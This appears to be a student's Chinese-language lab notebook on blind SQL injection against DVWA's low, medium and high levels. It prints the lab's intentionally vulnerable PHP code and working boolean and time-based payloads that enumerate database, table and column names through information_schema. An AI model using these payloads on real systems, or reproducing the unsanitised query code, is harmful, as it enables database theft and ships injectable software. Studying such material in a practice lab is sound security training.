盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
low
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
//@”就能把错误显示给抑制住,也就是不会显示错误,然后再抛出异常,显示自己定义的异常处理
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
mysql_close();
}
?>
从源代码可以看出并没有什么过滤,而且返回来的话语也没有多大的提示。
基于布尔的盲注
2.输入1' AND 1=1 # 存在
3.输入1' AND 1=2 # 不存在
结合非盲注来判断,感觉就是要证明,这个注入点和数字型还是字符型有关,和谁有关输入一真一假就会有不同的变化。去看dvwa-sql injection
可以看出是字符型注入点。
当输入1’ and length(database())=4 # 的时候给出正确答案。
那么接下来肯定是猜四个位置上的字母啦,按照判断对错的话岂不是要弄4*26次,这里用了二分法。
形如:1’ and ascii(substr(databse(),1,1))>97 # ...接着就是一系列的排查了,最后得到dvwa
substr(str, pos, len)截取
这个与之前的第二步有点重复,都很繁琐...
首先要知道有几个表,其次是表的长度,最后就是用二分法得到表的具体名称。
1. 1' AND (SELECT count(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database())=2 #
翻译下来就是:从和database()相同的数据库下 再从这个数据库的表下数出表的个数答案为肯定。
2. 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=5 # 显示存在,注意这是第二个表名
substr(str, pos) //没必要截取...
但是为什么1' and length(select table_name from information_schema.tables where table_schema=database() limit 1,2)=5 # //显示不存在呢
//length这个函数会把后面的字符当作变量,打上括号告诉length这是字符串
3. 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在 //这是在问字符的第一个字母
...之后就是流水线生产
1. 1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 %23
长度:
1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
user_id
具体到字母:二分法
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() limit 0,1),1,1))>97 # 显示存在5.猜出了表就是解析数据啦
用二分法。。。:1' and ascii (substring((select user_id from users limit 0,1),1,1))=49 #显示成功
参考文章:https://klionsec.github.io/2016/05/14/mysql-bool-blind-injection/
基于时间的盲注(可以设置sleep时间,感受延迟效果,不管对不对,成功则延迟成功,失败则无)
总结了看一下就是and后面加上了 if(xxxx,sleep(5),1)
1' and sleep(5) #
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
Medium
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
变成下拉列表了,抓包吧,使用前面的方法看到这里是数字型的注入
跟上面的差不多,然后我们的users用16进制代替即可(0×7573657273为users的16进制)
——————————————————题外————————————————
在这里我这么思考,如果是字符型的注入我必须要单引号怎么办,我想到了把单引号进行了16机制的转换 ’#‘是23 ,’’‘是27,我把‘改为%27,显示成功
—————————————————————————————————————
high
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
指南上说这里用抓包。。。我觉得不抓包也可以,就和low级别的差不多
也成功了
抓包过程
因为不理解我做了个对比
首先我输入的是错误的
我改了id但是不是cookie里面的id而是下面的,但是=该这个还是相当与改了cookie里面的
这是紧接着的就发现cookie发生变化,也许教程就是希望我在这里该cookie吧,最后显示成功哦。
这是我紧接着上面那一次,再次实验这个错误指令,我并没有任何改动,发现了没有,这个cookie变了哦,最后显示错误的。